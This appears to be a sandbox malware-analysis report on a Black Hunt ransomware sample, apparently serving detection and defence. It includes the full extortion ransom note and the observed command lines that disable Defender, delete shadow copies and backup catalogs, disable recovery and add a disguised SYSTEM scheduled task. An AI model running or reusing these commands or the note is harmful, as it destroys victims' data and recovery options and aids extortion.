Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

10

46c7f00516...37.exe

windows7-x64

10

46c7f00516...37.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    1s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231222-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/01/2024, 23:13

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe

  • Size

    707KB

  • MD5

    db12d57af1217ac75771f6a52965b4be

  • SHA1

    80ab2675a35a043cd6326b13daf0f9fd9693c027

  • SHA256

    46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37

  • SHA512

    391d4b79d13946166c224239475a510ca1f70ac530d9903d14fd31f4108363132fee385f81c2ab6dd69ab128ba99bf89e87467e25aa725c5551bbc8e501b2df8

  • SSDEEP

    6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1G8Xvnh:6uaTmkZJ+naie5OTamgEoKxLWd/h

Score
10/10
evasionransomware

Malware Config

Extracted

Path

F:\#BlackHunt_ReadMe.hta

Ransom Note
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1Ii8+IDxwaG90b3Nob3A6VGV4dExheWVycz4gPHJkZjpCYWc+IDxyZGY6bGkgcGhvdG9zaG9wOkxheWVyTmFtZT0iSHVudCAgIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSJIdW50ICAiLz4gPHJkZjpsaSBwaG90b3Nob3A6TGF5ZXJOYW1lPSJCbGFjayAgIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSJCbGFjayAgIi8+IDxyZGY6bGkgcGhvdG9zaG9wOkxheWVyTmFtZT0iMi4wIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSIyLjAiLz4gPC9yZGY6QmFnPiA8L3Bob3Rvc2hvcDpUZXh0TGF5ZXJzPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PvFKMOAAAAS2SURBVGje7Vq/ixNBFM55vQRtLLe2itoEbPIHpEghB4LBdFaB9Gm2sNhCIU0qm1x/RSz0EEHWw8LikFRBQXERUWOVSrSQdVbeHO++vPd2ci4BuQx83LGz82Pnfe+9b2ZSy/O8tsUWBc7Xx54uLYdvDt8dFhWj6Pfzf4KvDq+F9fmnMnCIGaLaBgp9RIxjB5ChmG++xV88l8jQEBbWY0D1ql0A9dpmSl0aO4AMj7YkOMFDiQxxQMOZQIoWvJPVNldWxg5IE7sOr7YkOMEdiQxpYOMleD6G3OkGyYAEngaQ4YrDF94u293NF4Tif17XdFiw+qMLFzZusGRnJx8Tug4V9v2rcG6JDEshCqTC85w80pcJ1MVGSG+dQU/4dlKamuLYAWS46fA71Nh9t/i8flytMUrRhvErJsMHh0tIhkh4kRtjaZBhZtR5LYJRZ0Tg0QZLT+g7o+e+ZDg2fVhDmPOI2txbx9hjqO9vmAz7jpx8/Kja/p8yIX5SOkJUsMgQBYrHnhJZECmMV5ayIk08KkSYsP5H1mKj5x1BfZORqKjzGFK7JrXx2GeRhj9vU9jPICp5Yw+pf17v3/HtKyDDA4kMsWCcFpEkVTysTDw2AomAqWVW8m7PGLsuRIsJ+9gdhxeWsdHzND2hkUiLNF14jkb2SOj9A+gfUVGE2JPIkJ7BaGXiMRWEZ0fI8zk913Y0MRl+AilCIjASaQaa4bLDR/7OQvE8D153CF4uGUdLKwk81+DJc2yQYQ4i94z46XBDIkNoKEc9oInHhtC+YaSWSJlHbAjLacA2uA5kuEYKWhRnoYZCEnHjaCRBTy8iQ5EK0Oh8DGzTrlavvPUpnZMhUrwxViJGI0A8xoYGaQgRQwr7ZYdXWdn2V9hN3OXvDdckg08FSCIeMTKFJMeBkWTIDD6H8SsWp0/gJFcUjyks+sjwVs14qdGmp4wXl8yj7ORxhbQCGRJLPBaeOGZ7+rmSp4eKLsBtKieJtn09VLw/WuN8oyBpkYaaQl1EKaoA6IxEIkNsCESpPg4QjxYZNHKtQ4ZWABkmAhmeWeIR+9BSwYEiHoeB4pHvMDTv7waeb3AyoZaIICIdnybUnkSGVFHrPoVgOB4o4jE1yDAytERH6Y+fdDYgZcTKLmOp3VNQ+/easWGhzFSAJCq8rg/bRE6SREkFlvePDQLhPIc0NpLBj8ujHEWHHw7XJTJoJ49ZyVF0bGz7UkWA5oZ4lIiSMV0yNcTjiD4Io86AkeEqLYLoeQew2OjlCfPMo5JtH6YVLRX0DYOPBT1T9COdQPq5Yp0ft8nmTHOaO1xEMkRrio5eiXfGa14RL9e8H+kEnDyKF1eu3JK8RjK2lQpCycC9VEsF1ummJm4xQnjdM6eIE9HcI/YN+3R4xeb0WPgpwIp41DANuK3kZKgrh0cTMHgqCMOZQZxO2bW1QJQO+91DkLEl9W8dYftQzI3r04qVCrTTTW2OIakkoZTRpksthWz3JTJEZFQLZVfIIzJyDISpU4RI2cGR995WyaVVj/pN6W+Ppac6zhGEIn5TRM9fVrk1a1Kq6a6q9MovqroM2hy6bDfRFN4Bot1eIcM5+9nbG4dPW9TekX46v2TYwsYf/4cvUeVs4qUAAAAASUVORK5CYII= " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> 3giLGz5WcwqYxJZf </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>
URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

  • Deletes NTFS Change Journal 2 TTPs 2 IoCs

    The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

    ransomware
  • Clears Windows event logs 1 TTPs 5 IoCs
    evasionransomware
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
    ransomwareevasion
  • Deletes backup catalog 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Interacts with shadow copies 2 TTPs 6 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Kills process with taskkill 1 IoCs
    evasion
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe
    "C:\Users\Admin\AppData\Local\Temp\46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3916
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
      2⤵
        PID:4176
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
          3⤵
            PID:4604
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
          2⤵
            PID:2360
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
              3⤵
                PID:5264
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
              2⤵
                PID:224
                • C:\Windows\system32\reg.exe
                  reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                  3⤵
                    PID:5256
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                  2⤵
                    PID:2444
                    • C:\Windows\system32\reg.exe
                      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                      3⤵
                        PID:10140
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                      2⤵
                        PID:8
                        • C:\Windows\system32\reg.exe
                          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                          3⤵
                            PID:6692
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                          2⤵
                            PID:3348
                            • C:\Windows\system32\reg.exe
                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                              3⤵
                                PID:7340
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                              2⤵
                                PID:3168
                                • C:\Windows\system32\reg.exe
                                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                  3⤵
                                    PID:6708
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                  2⤵
                                    PID:5232
                                    • C:\Windows\system32\fsutil.exe
                                      fsutil.exe usn deletejournal /D C:
                                      3⤵
                                      • Deletes NTFS Change Journal
                                      PID:12152
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                    2⤵
                                      PID:5320
                                      • C:\Windows\system32\schtasks.exe
                                        schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                        3⤵
                                          PID:5228
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                        2⤵
                                          PID:5304
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                          2⤵
                                            PID:5216
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                            2⤵
                                              PID:632
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                              2⤵
                                                PID:4128
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                                2⤵
                                                  PID:2060
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                  2⤵
                                                    PID:3028
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                                    2⤵
                                                      PID:1912
                                                    • C:\Windows\System32\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                                      2⤵
                                                        PID:3344
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe" /F
                                                        2⤵
                                                          PID:3256
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                          2⤵
                                                            PID:3928
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                            2⤵
                                                              PID:1380
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                              2⤵
                                                                PID:1460
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                2⤵
                                                                  PID:2388
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                                  2⤵
                                                                    PID:3436
                                                                  • C:\Windows\System32\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                                    2⤵
                                                                      PID:2104
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                                      2⤵
                                                                        PID:3280
                                                                      • C:\Windows\System32\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                                        2⤵
                                                                          PID:3240
                                                                        • C:\Windows\System32\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                                                          2⤵
                                                                            PID:4152
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                                                            2⤵
                                                                              PID:3052
                                                                            • C:\Windows\System32\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                                                                              2⤵
                                                                                PID:1340
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
